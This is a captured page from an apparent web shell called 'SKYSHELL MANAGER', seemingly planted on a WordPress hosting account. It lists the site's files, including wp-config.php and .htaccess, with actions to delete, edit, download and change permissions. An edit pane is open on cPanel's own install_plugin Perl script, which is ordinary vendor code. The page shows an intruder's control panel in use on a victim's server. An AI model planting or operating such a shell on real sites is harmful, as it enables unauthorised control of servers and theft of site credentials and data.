📁
SKYSHELL MANAGER
PHP v8.2.31
Create
Create
Path:
root
/
home4
/
cvysxmmy
/
public_html
/
antenmills-justadd10-com
/
Name
Size
Perm
Actions
📁
.well-known
-
0755
🗑️
🏷️
🔒
📁
cgi-bin
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0755
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.htaccess
3.38 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
.htaccess.nfd-backup
3.38 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
.htaccess.phpupgrader.21100a0f
2.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
.htaccess.phpupgrader.initial
2.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
error_log
232483.87 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
0.4 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
license.txt
19.44 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
readme.html
7.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-activate.php
7.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-blog-header.php
0.34 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-cli.yml
0.03 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-comments-post.php
2.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config-sample.php
3.26 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config.php
3.33 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-cron.php
5.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-links-opml.php
2.43 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-load.php
3.84 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-login.php
50.63 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
8.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-settings.php
31.88 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-signup.php
33.81 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-trackback.php
5.09 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
xmlrpc.php
3.13 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: install_plugin
#!/usr/local/cpanel/3rdparty/bin/perl # cpanel - scripts/install_plugin Copyright 2022 cPanel, L.L.C. # All rights reserved. # copyright@cpanel.net http://cpanel.net # This code is subject to the cPanel license. Unauthorized copying is prohibited use strict; PluginInstaller::run(@ARGV) unless caller; package PluginInstaller; use Getopt::Long qw(GetOptionsFromArray); use File::MMagic (); # Prevents compilation into binary. use POSIX (); use Cpanel::Plugin::Install (); use Cpanel::TempFile (); use Cpanel::ExtractFile (); use Cpanel::Config::LoadWwwAcctConf (); my $theme; my $default_theme; sub usage { my $exit_code = shift || 0; print <<"EO_USAGE"; install_plugin /path/to/plugin/archive Installs features from the specified plugin archive. Options: --theme Theme to install the plugin to (default: $default_theme). EO_USAGE POSIX::_exit($exit_code); return; } sub bail_out { my ($msg) = @_; print STDERR "error: $msg\n\n"; usage(1); return; } sub run { my (@args) = @_; my ( $archive, $help ); my $wwwacctconf = Cpanel::Config::LoadWwwAcctConf::loadwwwacctconf(); $default_theme = $wwwacctconf->{DEFMOD}; GetOptionsFromArray( \@args, 'theme=s' => \$theme, 'help' => \$help, ) || usage(1); if ($help) { usage(0); } $theme ||= $default_theme; $archive = $args[0]; if ( !defined $archive ) { bail_out 'No archive given!'; } unless ( -e $archive ) { bail_out "No file found at $archive"; } my $staging_dir; my $temp_dir_obj = Cpanel::TempFile->new; if ( !-d $archive ) { # determine that the archive is in a format we can actually work with my $type = File::MMagic->new->checktype_filename($archive); unless ( $type =~ /x-g?(bzip2|tar|zip)$/ ) { bail_out "Unrecognized archive format."; } $staging_dir = $temp_dir_obj->dir( prefix => 'Cpanel-install_plugin' ); chmod 0755, $staging_dir; # extract to staging dir my $files = Cpanel::ExtractFile::extractfile( $archive, 'dir' => $staging_dir ); $staging_dir = Cpanel::Plugin::Install::determine_plugin_docroot($staging_dir); } else { # if $ARGV[0] is a directory, we'll attempt to work with that. $staging_dir = $archive; } if ( !-e "${staging_dir}/install.json" ) { print "install.json is missing from the plugin archive, cannot process\n"; POSIX::_exit(1); } POSIX::_exit(1) unless Cpanel::Plugin::Install::install_plugin( $staging_dir, $theme ); print "Plugin installed ok\n"; return; } 1;
Save